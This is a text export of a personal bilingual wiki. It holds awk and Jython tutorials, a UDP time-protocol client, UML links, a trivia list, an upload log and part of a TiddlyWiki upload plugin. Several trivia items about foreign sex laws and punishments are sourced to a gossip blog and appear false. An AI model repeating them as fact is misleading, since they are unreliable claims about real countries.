 This loop-over-an-array seems to go in no particular order. Thus, the output from a program like this must often be piped through sort(1) in order to be useful. 
 Multi-dimensional arrays are implemented in an odd way. The given indices are concatenated together (with a special separator) to get one string, and it is used as the index. This program will print the word-pair frequencies: 
<code bash>
#!/usr/bin/awk -f
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++ }
END{for(words in freq) print words, freq[words]  }
</code>

 Unfortunately, this will print out the separator, which is by default not a common character. You can change this by assigning something logical like a space to the variable SUBSEP using nawk or gawk (it's not allowed in plain awk). 
<code bash>
#!/usr/bin/awk -f
BEGIN{SUBSEP=""}
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++}
END{for(words in freq) print words, freq[words] }
</code>

 Unfortunately (that word seems to occur a lot when talking about awk arrays), this doesn't let you refer to the indices individually. The secret to this it to use the "split" function, which breaks a string up into an array. 
 
<code bash>
#!/usr/bin/awk -f
BEGIN{SUBSEP="" }
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++}
END{ for(words in freq)
       {
       split(words,word,SUBSEP); 
       print word[1], freq[words],word[2];
       } 
   }    
</code>

 When you're using an awk script in a file, you can break your program across multiple lines to make it easier to read. Comments are started the same way as in sh programming, with a # 
<code bash>
#!/usr/bin/awk -f
# this program prints the frequencies of word pairs
BEGIN{SUBSEP=""} # set the index separator 
                 # to a nice character
{for(i=1;i < NF;i++) freq[$i,$(i+1)]++}
END{ for(words in freq)
       {
# just to show we can put a comment in here.
       split(words,word,SUBSEP); # or here
       print word[1], freq[words],word[2];
       } 
   }
</code>

 You can use awk to create text, as well as just process existing text. It is useful for quickly generating tables of function values, without the hassle of compiling a C program. For example, it can show that sin(x)/x approaches 1 as x approaches zero: 
<code bash>
>awk '{x=1.0/NR; print x,sin(x)/x;}' 
</code>
 will print a new value each time it reads a new line. So, you can hit return until you have all the values you need. Alternately, if you need a set number of values, you can do 
<code bash>
>awk 'BEGIN{for(i=1;i <=30;i++){x=1.0/i;print x,sin(x)/x;}}' /dev/null 
</code>
 where 30 is the set number of values. 
 It seems twisted*, but awk can be used to generate C code that one doesn't want to type by hand. For example, this script will generate an explicit 3x3 matrix multiplication routine: 
<code bash>
gawk 'BEGIN{
        for(i=0;i<3;i++)
          for(j=0;j<3;j++){
            printf("d[%d][%d]=",i,j);
            for(k=0;k<3;k++){
              printf("l[%d][%d]*r[%d][%d]%s",
                     i,k,k,j,(k<2)?"+":";\n");
            }
          }
      }'
</code>
 ~* ok, maybe it is twisted.  

! Punctuation guide
;{{{{}}}} 
:used around the action, and to group statements in the action.
;{{{$}}} 
:denotes a field. {{{$1}}} is the first field, {{{$0}}} is the whole record.
;{{{~}}}
:the "contains" operator. "foobar"~"foo" is true. Strings only.
;{{{!~}}}
:the "does not contain" operator. Strings only.
;{{{==}}}
:the equality operator. Works for numbers or strings
; {{{< > <= >= !=}}}
:inequality operators. Work for numbers or strings.
;{{{#}}}
:the begin-comment character
;{{{,}}} 
:separates things in a "print" or "printf" statement.
;{{{;}}} 
:separates statements.
;{{{//}}}
:used around a regular expression
;{{{&& }}}
:Boolean and
;{{{||}}} 
:Boolean or
;{{{!}}}
:boolean not
;{{{()}}}
:used for grouping Boolean expressions, passing arguments to functions, and around conditions for "for","while", etc.
! Introducción
[[Jython]] es una implementación de python realizada enteramente en [[Java]]. La última versión es compatible con CPython 2.5 (CPython es la versión realizada en C).

! Jython y Swing
[[Jython]] permite integrar código [[Python]] sobre [[Java]], e incluso utilizar las librerías de Java en Python permitiendo, por ejemplo, que hacer una aplicación con [[Python]] que utilice Swing como interfaz gráfica. Ejemplo de "hola mundo":
<code python>
from javax.swing import JFrame, JLabel
f = JFrame()
f.add(JLabel("Hola mundo"))
f.pack()
f.setVisible(True)
</code>

! Introspección de librerías de Java
Además, Jython importa las librerías de [[Java]] como si fueran propias, con las ventajas que eso conlleva. Por ejemplo, ¿qué métodos y propiedades tiene la clase {{{java.util.Date}}}
<code python>
>>> from java.util import Date
>>> print dir(Date)
['UTC', '__class__', '__delattr__', '__doc__', '__eq__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__str__', 'after', 'before', 'class', 'clone', 'compareTo', 'date', 'day', 'equals', 'getClass', 'getDate', 'getDay', 'getHours', 'getMinutes', 'getMonth', 'getSeconds', 'getTime', 'getTimezoneOffset', 'getYear', 'hashCode', 'hours', 'minutes', 'month', 'notify', 'notifyAll', 'parse', 'seconds', 'setDate', 'setHours', 'setMinutes', 'setMonth', 'setSeconds', 'setTime', 'setYear', 'time', 'timezoneOffset', 'toGMTString', 'toLocaleString', 'toString', 'wait', 'year']
</code>

!Multihilo
Uno de los mayores inconvenientes de [[Python]] es que ''no'' es //"threadsafe"//. Esto quiere decir que sólo puede ejecutar un thread a la vez y que cada cierto tiempo cede la ejecución a los demás threads. Esto hace que el rendimiento al usar varios threads caiga y, sobre todo, evita aprovechar al 100% los nuevos procesadores multinúcleo. Sin embargo, [[Java]] no tiene este inconveniente y Jython, como librería de Java que es, tampoco.

En resumen, Jython ''si'' es //threadsafe// y puede usar threads de una manera bastante eficiente, mientras que [[Python]] "emula" los threads de manera ineficiente.

!Compilación a .class
Otro aspecto intersante de Jython es la posibilidad de ser compilado como una clase de [[Java]]en un fichero{{{.class}}}, y de esta manera ser utilizada como librería en cuanquier aplicación. Para ello se distribuye la herramienta [[jythonc|http://jython.sourceforge.net/Project/jythonc.html]], que actúa como el compilador de [[Java]]

!Trabajo con javabeans
Una de las mayores comodidades de usar Jython es la facilidad que ofrece para trabajar con beans. En vez de tener que llamar a los getters y setters de un objeto, Jython permite acceder a las propiedades del bean como si fueran atributos públicos. Veamos un ejemplo con la siguiente clase de [[Java]]:
<code java>
public class Prueba{
    private String texto;
    public void setTexto(String value){
        this.texto = value;
    }
    public String getTexto() {
        return this.texto;
    }
}
</code>
En [[Java]], para crear un nuevo objeto de este tipo, establecer la propiedad {{{texto}}} y mostrar su valor por pantalla deberíamos hacer algo como esto:
<code java>
Prueba obj = new Prueba();
obj.setTexto("Soy un texto");
System.out.println(obj.getTexto());
</code>
En Jython sería mucho más sencillo y legible (se ignora el {{{import Prueba}}}):
<code python>
obj = Prueba()
obj.texto = "Soy un texto"
print obj.texto
</code python>
O incluso se podría hacer lo siguiente:
<code python>
obj = Prueba(texto="Soy un texto")
print obj.texto
</code>

!Uso de funciones de primer orden con eventos
En [[Java]] resulta francamente engorrosa la forma de definir manejadores de eventos. Como no dispone de funciones de primer orden, hay que definir el método "in situ". Pero esta limitación no existe en Jython. El siguiente ejemplo en [[Java]]:
<code java>
JButton boton = new JButton("¡Aprieta!");
boton.addActionListener(new ActionListener(){
    public void actionPerformed(ActionEvent e){
        System.out.println("¡Ay, ay, que me presionan!");
    }
});
</code>
Se podría reescribir de la siguiente manera en Jython:
<code python>
def accionBoton(event):
    print "¡Ay, ay, que me presionan!"
    
boton = JButton("¡Aprieta!", actionPerformed=accionBoton)
</code>
La versióython es mucho más clara y sencilla, y además la función {{{accionBoton}}} puede utilizarse para otros botones similares.

!Embeber Jython en Java
Desde una clase [[Java]] se puede ejecutar código Jython, aunque resulte un poco engorroso. La forma de hacerlo es pasar las líneas de código Jython una a una, como cadenas de texto al interprete de Jython. Ejemplo:
<code java>
import org.python.core.PyException;
import org.python.core.PyInteger;
import org.python.core.PyObject;
import org.python.util.PythonInterpreter;

public class SimpleEmbedded {

    public static void main(String[] args) throws PyException {
        PythonInterpreter interp = new PythonInterpreter();
        interp.exec("import sys");
        interp.exec("print sys");
        interp.set("a", new PyInteger(42));
        interp.exec("print a");
        interp.exec("x = 2+2");
        PyObject x = interp.get("x");
        System.out.println("x: " + x);
    }
}
</code>

! Referencia
* //"Learning Jython"//: http://wiki.python.org/jython/LearningJython
* //"An introduction to Jython"//: http://www.javalobby.org/articles/jython/
//Extraido de// http://www.catonmat.net/blog/worlds-best-introduction-to-sed/ 
! Introducción
Obtiene la hora exacta actual de un servidor de tiempo mediante protocolo UDP. El código está sacado de [[aquí|http://kbyanc.blogspot.com/2008/11/rfc868-udp-time-protocol-client.html]]

El protocolo llamado "Time Protocol" es un antiguo protocolo que data de 1983 y diseñado para ARPA. Hoy en día ha sido sustituido por el mucho más moderno y prciso [[NTP]].

! Código
<code python>
from socket import *
from struct import unpack
from time import ctime, sleep
from sys import argv

argv = argv[1:]
if len(argv) == 0:
   argv = [ 'time-nw.nist.gov' ]

s = socket(AF_INET, SOCK_DGRAM)
s.settimeout(5.0)

for server in argv:
   print server, ":",
   try:
       s.sendto('', 0, (server, 37))
       t = long(unpack('!L', s.recv(16)[:4])[0])
       # Convert from 1900/01/01 epoch to 1970/01/01 epoch
       t -= 2208988800
       print ctime(t)
   except timeout:
       print "TIMEOUT"
   except:
       print "ERROR"

s.close()
sleep(2)
</code>

! Referencias
* http://kbyanc.blogspot.com/2008/11/rfc868-udp-time-protocol-client.html
* http://www.faqs.org/rfcs/rfc868.html
!Descripción
<part descripcion>
Información sobre el //Universal Modeling Languaje// (Lenguaje Unificado de Modelado)
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Lenguaje_Unificado_de_Modelado
** OMG, organismo creador de UML: http://www.uml.org/
** Tutorial en español: http://jms32.eresmas.net/tacticos/UML/UMLIndex.html
** Guía de referencia: http://www.omg.org/technology/documents/formal/uml.htm
** Herramientas para trabajar con UML: http://modeling-languages.com/es/content/herramientas-para-uml
** Introducción al UML I: http://www.epidataconsulting.com/tikiwiki/tiki-read_article.php?articleId=15
** Introducción al UML II: http://www.epidataconsulting.com/tikiwiki/tiki-read_article.php?articleId=31
* ''UML textual:''
** Text UML: http://sourceforge.net/apps/mediawiki/textuml/index.php?title=TextUML_Tutorial
** Generador de UML a partir de descripción textual: http://yuml.me/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
Son las siglas de Uniform Resource Locator. Una URL es una secuencia de carateres que indetifica unívocamente un recurso disponible en una red.

Una URL tiene la siguiente estructura:
{{{
esquema://usuario:contraseña@máquina:puerto/directorio/archivo
}}}

No todos los campos son obligatorios. Por ejemplo, para referenciar de forma simple una página web tan solo es necesario especificar el esquema (en este caso {{{HTTP}}}), la máquina y la ruta al fichero (si no se especifica se sobreentiende que es {{{index.html}}}).

El uso mas habitual son las direcciones de las páginas web. Por ejemplo, la página principal de la wikipedia en español sería: http://es.wikipedia.org
//Véase// [[URL]]
!Notas:
Algunas curiosidades están copiadas tal cual de diversos medios. A continuación se ponen las URLs de donde se han sacado sin ningún orden concreto. Los números corresponden con los que aparecen entre corchetes al final de algunas curiosidades.
# http://es.wikipedia.org
# http://www.pitodoble.com/2006/07/28/curiosidades-sobre-el-sexo-en-el-mundo/
# http://www.gran-angular.net/aeropuertos-singulares-galeria/2009/06/30/
# http://javimoya.com/blog/2006/02/27/enfermedades-insolitas/

Las que no llevan referencia no recuerdo de donde las saqué. Si eres el autor y quieres que ponga el enlace, o que directamente la elimine, puedes indicármelo en http://www.formspring.me/errepunto

!!Páginas con cosas pendientes de añadir:
* <null>


! Medio ambiente
* Los [[cocodrilos marinos|Cocodrilo marino]] pueden desplazarse y cazar en el mar. ^^1^^
! Gente y cultura
* En el Líbano, los hombres pueden tener relaciones sexuales con animales legalmente, pero han de ser animales hembras. Relaciones sexuales con machos está penado con la muerte.^^2^^
* En Barheim, un médico puede legalmente examinar los genitales femeninos, pero tiene prohibido mirarlos directamente durante el examen. Solo puede mirarlos a través de un espejo.^^2^^
* Los musulmanes no puede mirar los genitales de un cadáver. Esto también se aplica a los funcionarios de funerarias. Los órganos sexuales del difunto deben estar siempre cubiertos con un ladrillo o un pedazo de madera.^^2^^
* La pena para la masturbación en Indonesia es la decapitación.^^2^^
* Hay hombres en Guam cuyo empleo a tiempo integral consiste en viajar por el país desflorando vírgenes que les pagan por el privilegio de tener sexo por primera vez. Por la Leyes de Guam, las vírgenes tiene prohibido casarse.^^2^^
* En Hong Kong, una mujer engañada, puede legalmente matar a su marido adúltero, pero ha de hacerlo con las manos. En contrapartida, la mujer adúltera puede morir de cualquier manera a manos del marido.^^2^^
* Las Leyes de Liverpool autorizan a las vendedoras de peces tropicales a trabajar en topless.^^2^^
* En Santa Cruz, Bolivia, es ilegal que un hombre tenga relaciones con una mujer y con la hija de ella al mismo tiempo.^^2^^
* En Maryland, los preservativos solo pueden ser vendidos en máquinas que estén dentro de locales donde se vendan bebidas alcohólicas.^^2^^

! Técnica y tecnología
* A partir de 140[[dB|Decibelio]] se pueden producir lesiones auditivas.^^1^^
* El formato PAL soporta 625 líneas, pero sólo son visibles 576 (las otras 49 se usan para el borrado) (http://es.wikipedia.org/wiki/PAL#Formatos_del_sistema_PAL)

! Leyes, economía y ciencias sociales
*

! Ciencias
* Síndrome del acento extranjero: Después de un accidente que dañe cierta área del cerebro encargada del lenguaje, puede suceder que una persona hable su lengua materna como el más torpe de los guiris.^^4^^
* La maldición de Ondine: El enfermo es incapaz de respirar de forma "automática" y tiene que estar continuamente pensando en la respiración para no ahogarse. El afectado no puede dormir ni quedarse inconsciente o morirá.^^4^^
* Síndrome de Capgras: Es un síndrome psiquiátrico que hace que el enfermo piense que todos a su alrededor son actores o dobles de la gente que conocía, y tratan de engañarle para que crea que son sus conocidos. Algunos llegan incluso a no reconocerse en un espejo.^^4^^
* Síndrome de Alicia en el país de las maravillas (micropsia): Desorden neurológico que afecta a la percepción del tamaño y hace que el enfermo perciba las cosas mucho más pequeñas de lo que son. Para alguien afectado de este síndrome, un perro puede parecerle del tamaño de un ratón.^^4^^
* Pánico al pene (Koro): Koro en javanés significa "cabeza de tortuga". Es un síndrome que hace que los afectados crean que su pene se está encogiendo y metiéndose hacia dentro del abdomen, para luego causarles la muerte. Hay coreanos que se pegan media vida estirándose del pene para que no se les meta para adentro. Otra variedad de la enfermedad es cuando creen los afectados que les han robado el pene.^^4^^
* El síndrome de Jerusalén: Variedad religiosa del Síndrome de Stendhal que hace que produce que debido a la honda impresión de visitar un lugar sagrado, los afectados se crean personajes bíblicos.^^4^^
* Síndrome de Clérambault (rotomanía): Obsesión delirante que hace que el enfermo (más generalmente enferma) crea que es amado o amada por alguien y le envía mensajes sutiles, aunque no sea verdad. Muchas veces el enfermo y la persona objetivo no tienen ningún contacto, por ejemplo un famoso y una fan que cree que la ama y le manda mensajes en las entrevistas públicas.^^4^^
* Pica: Apetito a veces obsesivo por cosas que no son comestibles, como tierra, carbón o pelo. Algunos enfermos psiquiátricos llegan a obsesionarse con comer objetos peligrosos, como cristales o agujas.^^4^^
* Síndrome de la mano extraña: El afectado pierde el control de una mano, que adquiere "vida propia" o por lo menos independiente de la consciencia del paciente. Hay una variedad menos grave en la que el paciente simplemente no nota la mano como parte de su cuerpo.^^4^^
* Polidactilismo: No puede considerarse exactamente como una enfermedad. Consiste en tener algún dedo de más en manos o pies^^4^^
* Síndrome Riley-Day: Es la incapacidad de sentir dolor. Los afectados puede sufrir todo tipo de lesiones graves, dado que si, por ejemplo, se pinchan con algo o ponen la mano en algo demasiado caliente, no notan el dolor y no hacen nada para retirarse y protegerse. Los afectados suelen morir jóvenes y debido a heridas.^^4^^
* Síndrome del hombre lobo (hipertricosis): Raro síndrome que hace que todo el cuerpo del que lo sufre aparezca cubierto de pelo largo y sedoso (como el de la cabeza), excepto palmas de manos y pies. Algunos tienen además un pequeño rabo (de unos centímetros).^^4^^
* Síndrome de Proteus: Enfermedad que causa un crecimiento excesivo de la piel y los huesos, causando extrañas deformidades. Un caso famosos fue el de "el hombre elefante".^^4^^
* Síndrome de Cotard: Extraña enfermedad que hace que el afectado crea que en realidad está muerto. Básicamente piensan los afectados que son una especie de zombies o muertos vivientes.  ^^4^^
* En 1994 un joven boyscout consiguió la medalla al mérito radiactivo por intentar construir un generador de fisión en su casa. (http://en.wikipedia.org/wiki/David_Hahn, http://www.anfrix.com/2006/12/pasatiempo-construir-un-reactor-nuclear-casero/, http://www.damninteresting.com/smoke-detectors-and-a-radioactive-boyscout)

! Lugares
* El aeropuerto de Atlanta tiene dos pistas de aterrizaje construidas sobre una autopista ^^3^^
* El aeropuerto de Gibraltar tiene "pasos a nivel con barrera" en los puntos que lo cruza la carretera ^^3^^
* El aeropuerto de Kobe y el de Macau están hecho situados sobre islas artificiales ^^3^^
* El aeropuerto de la isla de Madeira está construido en alto sobre pilares ^^3^^
* El aeropuerto de St. Marteen está pegado a la playa y los aviones sobrevuelan a los bañistas ^^3^^
* El aeropuerto de Nepal está situado al borde de un acantilado ^^3^^
| !date | !user | !location | !storeUrl | !uploadDir | !toFilename | !backupdir | !origin |
| 09/08/2013 09:53:23 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . | ok |
| 09/08/2013 10:11:03 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . | ok |
| 09/08/2013 10:12:06 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . |
| 14/08/2013 09:55:26 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . |
| 05/09/2013 11:46:31 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . | ok |
| 05/09/2013 12:01:38 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . | ok |
| 05/09/2013 12:20:12 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . |
| 09/09/2013 11:56:57 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . |
| 26/09/2013 09:38:10 | YourName | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . |
| 29/12/2015 17:13:03 | ErrePunto | [[/|http://rubenpedia.tiddlyspot.com/]] | [[store.cgi|http://rubenpedia.tiddlyspot.com/store.cgi]] | . | [[index.html | http://rubenpedia.tiddlyspot.com/index.html]] | . |
/***
|''Name:''|UploadPlugin|
|''Description:''|Save to web a TiddlyWiki|
|''Version:''|4.1.3|
|''Date:''|Feb 24, 2008|
|''Source:''|http://tiddlywiki.bidix.info/#UploadPlugin|
|''Documentation:''|http://tiddlywiki.bidix.info/#UploadPluginDoc|
|''Author:''|BidiX (BidiX (at) bidix (dot) info)|
|''License:''|[[BSD open source license|http://tiddlywiki.bidix.info/#%5B%5BBSD%20open%20source%20license%5D%5D ]]|
|''~CoreVersion:''|2.2.0|
|''Requires:''|PasswordOptionPlugin|
***/
//{{{
version.extensions.UploadPlugin = {
	major: 4, minor: 1, revision: 3,
	date: new Date("Feb 24, 2008"),
	source: 'http://tiddlywiki.bidix.info/#UploadPlugin',
	author: 'BidiX (BidiX (at) bidix (dot) info',
	coreVersion: '2.2.0'
};

//
// Environment
//

if (!window.bidix) window.bidix = {}; // bidix namespace
bidix.debugMode = false;	// true to activate both in Plugin and UploadService
	
//
// Upload Macro
//

config.macros.upload = {
// default values
	defaultBackupDir: '',	//no backup
	defaultStoreScript: "store.php",
	defaultToFilename: "index.html",
	defaultUploadDir: ".",
	authenticateUser: true	// UploadService Authenticate User
};
	
config.macros.upload.label = {
	promptOption: "Save and Upload this TiddlyWiki with UploadOptions",
	promptParamMacro: "Save and Upload this TiddlyWiki in %0",
	saveLabel: "save to web", 
	saveToDisk: "save to disk",
	uploadLabel: "upload"	
};

config.macros.upload.messages = {
	noStoreUrl: "No store URL in parmeters or options",
	usernameOrPasswordMissing: "Username or password missing"
};

config.macros.upload.handler = function(place,macroName,params) {
	if (readOnly)
		return;
	var label;
	if (document.location.toString().substr(0,4) == "http") 
		label = this.label.saveLabel;
	else
		label = this.label.uploadLabel;
	var prompt;
	if (params[0]) {
		prompt = this.label.promptParamMacro.toString().format([this.destFile(params[0], 
			(params[1] ? params[1]:bidix.basename(window.location.toString())), params[3])]);
	} else {
		prompt = this.label.promptOption;
	}
	createTiddlyButton(place, label, prompt, function() {config.macros.upload.action(params);}, null, null, this.accessKey);
};

config.macros.upload.action = function(params)
{
		// for missing macro parameter set value from options
		if (!params) params = {};
		var storeUrl = params[0] ? params[0] : config.options.txtUploadStoreUrl;
		var toFilename = params[1] ? params[1] : config.options.txtUploadFilename;
		var backupDir = params[2] ? params[2] : config.options.txtUploadBackupDir;
		var uploadDir = params[3] ? params[3] : config.options.txtUploadDir;
		var username = params[4] ? params[4] : config.options.txtUploadUserName;
		var password = config.options.pasUploadPassword; // for security reason no password as macro parameter	
		// for still missing parameter set default value
		if ((!storeUrl) && (document.location.toString().substr(0,4) == "http")) 
			storeUrl = bidix.dirname(document.location.toString())+'/'+config.macros.upload.defaultStoreScript;
		if (storeUrl.substr(0,4) != "http")
			storeUrl = bidix.dirname(document.location.toString()) +'/'+ storeUrl;
		if (!toFilename)
			toFilename = bidix.basename(window.location.toString());
		if (!toFilename)
			toFilename = config.macros.upload.defaultToFilename;
		if (!uploadDir)
			uploadDir = config.macros.upload.defaultUploadDir;
		if (!backupDir)
			backupDir = config.macros.upload.defaultBackupDir;
		// report error if still missing
		if (!storeUrl) {
			alert(config.macros.upload.messages.noStoreUrl);
			clearMessage();
			return false;
		}
		if (config.macros.upload.authenticateUser && (!username || !password)) {
			alert(config.macros.upload.messages.usernameOrPasswordMissing);
			clearMessage();
			return false;
		}
		bidix.upload.uploadChanges(false,null,storeUrl, toFilename, uploadDir, backupDir, username, password); 
		return false; 
};

config.macros.upload.destFile = function(storeUrl, toFilename, uploadDir) 
{
	if (!storeUrl)
		return null;
		var dest = bidix.dirname(storeUrl);
		if (uploadDir && uploadDir != '.')
			dest = dest + '/' + uploadDir;
		dest = dest + '/' + toFilename;
	return dest;
};

//
// uploadOptions Macro
//

config.macros.uploadOptions = {
	handler: function(place,macroName,params) {
		var wizard = new Wizard();
		wizard.createWizard(place,this.wizardTitle);
		wizard.addStep(this.step1Title,this.step1Html);
		var markList = wizard.getElement("markList");
		var listWrapper = document.createElement("div");
		markList.parentNode.insertBefore(listWrapper,markList);
		wizard.setValue("listWrapper",listWrapper);
		this.refreshOptions(listWrapper,false);
		var uploadCaption;
		if (document.location.toString().substr(0,4) == "http") 
			uploadCaption = config.macros.upload.label.saveLabel;
		else
			uploadCaption = config.macros.upload.label.uploadLabel;
		
		wizard.setButtons([
				{caption: uploadCaption, tooltip: config.macros.upload.label.promptOption, 
					onClick: config.macros.upload.action},
				{caption: this.cancelButton, tooltip: this.cancelButtonPrompt, onClick: this.onCancel}
				
			]);
	},
	options: [
		"txtUploadUserName",
		"pasUploadPassword",
		"txtUploadStoreUrl",
		"txtUploadDir",
		"txtUploadFilename",
		"txtUploadBackupDir",
		"chkUploadLog",
		"txtUploadLogMaxLine"		
	],
	refreshOptions: function(listWrapper) {
		var opts = [];
		for(i=0; i<this.options.length; i++) {
			var opt = {};
			opts.push();
			opt.option = "";
			n = this.options[i];
			opt.name = n;
			opt.lowlight = !config.optionsDesc[n];
			opt.description = opt.lowlight ? this.unknownDescription : config.optionsDesc[n];
			opts.push(opt);
		}
		var listview = ListView.create(listWrapper,opts,this.listViewTemplate);
		for(n=0; n<opts.length; n++) {
			var type = opts[n].name.substr(0,3);
			var h = config.macros.option.types[type];
			if (h && h.create) {
				h.create(opts[n].colElements['option'],type,opts[n].name,opts[n].name,"no");
			}
		}
		
	},
	onCancel: function(e)
	{
		backstage.switchTab(null);
		return false;
	},
	
	wizardTitle: "Upload with options",
	step1Title: "These options are saved in cookies in your browser",
	step1Html: "<input type='hidden' name='markList'></input><br>",
	cancelButton: "Cancel",
	cancelButtonPrompt: "Cancel prompt",
	listViewTemplate: {
		columns: [
			{name: 'Description', field: 'description', title: "Description", type: 'WikiText'},
			{name: 'Option', field: 'option', title: "Option", type: 'String'},
			{name: 'Name', field: 'name', title: "Name", type: 'String'}
			],
		rowClasses: [
			{className: 'lowlight', field: 'lowlight'} 
			]}
};

//
// upload functions
//

if (!bidix.upload) bidix.upload = {};

if (!bidix.upload.messages) bidix.upload.messages = {
	//from saving
	invalidFileError: "The original file '%0' does not appear to be a valid TiddlyWiki",
	backupSaved: "Backup saved",
	backupFailed: "Failed to upload backup file",
	rssSaved: "RSS feed uploaded",
	rssFailed: "Failed to upload RSS feed file",
	emptySaved: "Empty template uploaded",
	emptyFailed: "Failed to upload empty template file",
	mainSaved: "Main TiddlyWiki file uploaded",
	mainFailed: "Failed to upload main TiddlyWiki file. Your changes have not been saved",
	//specific upload
	loadOriginalHttpPostError: "Can't get original file",
	aboutToSaveOnHttpPost: 'About to upload on %0 ...',
	storePhpNotFound: "The store script '%0' was not found."
};

bidix.upload.uploadChanges = function(onlyIfDirty,tiddlers,storeUrl,toFilename,uploadDir,backupDir,username,password)
{
	var callback = function(status,uploadParams,original,url,xhr) {
		if (!status) {
			displayMessage(bidix.upload.messages.loadOriginalHttpPostError);
			return;
		}
		if (bidix.debugMode) 
			alert(original.substr(0,500)+"\n...");
		// Locate the storeArea div's 
		var posDiv = locateStoreArea(original);
		if((posDiv[0] == -1) || (posDiv[1] == -1)) {
			alert(config.messages.invalidFileError.format([localPath]));
			return;
		}
		bidix.upload.uploadRss(uploadParams,original,posDiv);
	};
	
	if(onlyIfDirty && !store.isDirty())
		return;
	clearMessage();
	// save on localdisk ?
	if (document.location.toString().substr(0,4) == "file") {
		var path = document.location.toString();
		var localPath = getLocalPath(path);
		saveChanges();
	}
	// get original
	var uploadParams = new Array(storeUrl,toFilename,uploadDir,backupDir,username,password);
	var originalPath = document.location.toString();
	// If url is a directory : add index.html
	if (originalPath.charAt(originalPath.length-1) == "/")
		originalPath = originalPath + "index.html";
	var dest = config.macros.upload.destFile(storeUrl,toFilename,uploadDir);
	var log = new bidix.UploadLog();
	log.startUpload(storeUrl, dest, uploadDir,  backupDir);
	displayMessage(bidix.upload.messages.aboutToSaveOnHttpPost.format([dest]));
	if (bidix.debugMode) 
		alert("about to execute Http - GET on "+originalPath);
	var r = doHttp("GET",originalPath,null,null,username,password,callback,uploadParams,null);
	if (typeof r == "string")
		displayMessage(r);
	return r;
};

bidix.upload.uploadRss = function(uploadParams,original,posDiv) 
{
	var callback = function(status,params,responseText,url,xhr) {
		if(status) {
			var destfile = responseText.substring(responseText.indexOf("destfile:")+9,responseText.indexOf("\n", responseText.indexOf("destfile:")));
			displayMessage(bidix.upload.messages.rssSaved,bidix.dirname(url)+'/'+destfile);
			bidix.upload.uploadMain(params[0],params[1],params[2]);
		} else {
			displayMessage(bidix.upload.messages.rssFailed);			
		}
	};
	// do uploadRss
	if(config.options.chkGenerateAnRssFeed) {
		var rssPath = uploadParams[1].substr(0,uploadParams[1].lastIndexOf(".")) + ".xml";
		var rssUploadParams = new Array(uploadParams[0],rssPath,uploadParams[2],'',uploadParams[4],uploadParams[5]);
		var rssString = generateRss();
		// no UnicodeToUTF8 conversion needed when location is "file" !!!
		if (document.location.toString().substr(0,4) != "file")
			rssString = convertUnicodeToUTF8(rssString);	
		bidix.upload.httpUpload(rssUploadParams,rssString,callback,Array(uploadParams,original,posDiv));
	} else {
		bidix.upload.uploadMain(uploadParams,original,posDiv);
	}
};

bidix.upload.uploadMain = function(uploadParams,original,posDiv) 
{
	var callback = function(status,params,responseText,url,xhr) {
		var log = new bidix.UploadLog();
		if(status) {
			// if backupDir specified
			if ((params[3]) && (responseText.indexOf("backupfile:") > -1))  {
				var backupfile = responseText.substring(responseText.indexOf("backupfile:")+11,responseText.indexOf("\n", responseText.indexOf("backupfile:")));
				displayMessage(bidix.upload.messages.backupSaved,bidix.dirname(url)+'/'+backupfile);
			}
			var destfile = responseText.substring(responseText.indexOf("destfile:")+9,responseText.indexOf("\n", responseText.indexOf("destfile:")));
			displayMessage(bidix.upload.messages.mainSaved,bidix.dirname(url)+'/'+destfile);
			store.setDirty(false);
			log.endUpload("ok");
		} else {
			alert(bidix.upload.messages.mainFailed);
			displayMessage(bidix.upload.messages.mainFailed);
			log.endUpload("failed");			
		}
	};
	// do uploadMain
	var revised = bidix.upload.updateOriginal(original,posDiv);
	bidix.upload.httpUpload(uploadParams,revised,callback,uploadParams);
};

bidix.upload.httpUpload = function(uploadParams,data,callback,params)
{
	var localCallback = function(status,params,responseText,url,xhr) {
		url = (url.indexOf("nocache=") < 0 ? url : url.substring(0,url.indexOf("nocache=")-1));
		if (xhr.status == 404)
			alert(bidix.upload.messages.storePhpNotFound.format([url]));
		if ((bidix.debugMode) || (responseText.indexOf("Debug mode") >= 0 )) {
			alert(responseText);
			if (responseText.indexOf("Debug mode") >= 0 )
				responseText = responseText.substring(responseText.indexOf("\n\n")+2);
